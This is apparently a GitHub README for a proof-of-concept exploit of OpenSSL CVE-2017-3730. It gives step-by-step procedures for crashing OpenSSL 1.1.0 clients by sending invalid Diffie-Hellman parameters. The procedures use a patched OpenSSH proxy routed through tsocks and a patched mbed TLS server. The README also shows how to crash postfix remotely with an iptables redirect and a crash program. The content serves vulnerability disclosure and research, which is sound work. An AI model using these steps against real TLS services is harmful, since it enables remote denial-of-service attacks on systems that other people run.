guidovranken / CVE-2017-3730

OpenSSL CVE-2017-3730 proof-of-concept

CVE-2017-3730

OpenSSL CVE-2017-3730 proof-of-concept

Using OpenSSH as a proxy to patch DH values on the fly

• Create an SSL server using a ciphersuite like DHE-PSK-WITH-AES-256-GCM-SHA384. Let's say it runs on 10.0.2.2 port 8899
• Get openssh-7.4p1
• Apply patch
• Build it
• Run it like:

./ssh -vvv -N -D 1085 -o TCPKeepAlive=yes -o ServerAliveInterval=60 localhost

• In a different terminal create a file ~/.tsocks.conf with this content:

server = 127.0.0.1
server_port = 1085
server_type = 5
local = 127.0.0.0/255.255.255.0

• ```export TSOCKS_CONF_FILE=`realpath ~/.tsocks.conf````
• tsocks
• This creates a shell in which all network traffic flows through our "evil" proxy
• openssl s_client -connect 10.0.2.2:8899 -psk AA
• crash

Modify mbed TLS to serve invalid DH parameter

• Get https://github.com/ARMmbed/mbedtls/archive/mbedtls-2.4.1.tar.gz
• Apply mbedtls-2.4.1-patch.txt
• make -j4 programs
• Run server: programs/ssl/ssl_server2 force_ciphersuite=TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
• Connect to it with OpenSSL 1.1.0 client
• crash

Crashing postfix remotely

• Compile postfix with OpenSSL 1.1.0
• Compile crash-postfix.c against the PATCHED mbed TLS (see above)
• What I did was run postfix in a VM and run crash-postfix on the host:
• iptables -t nat -A OUTPUT -p tcp --dport 25 -j DNAT --to-destination 10.0.2.2:8888
• Start crash-postfix
• Run postfix: posttls-finger 10.0.2.2
• Crash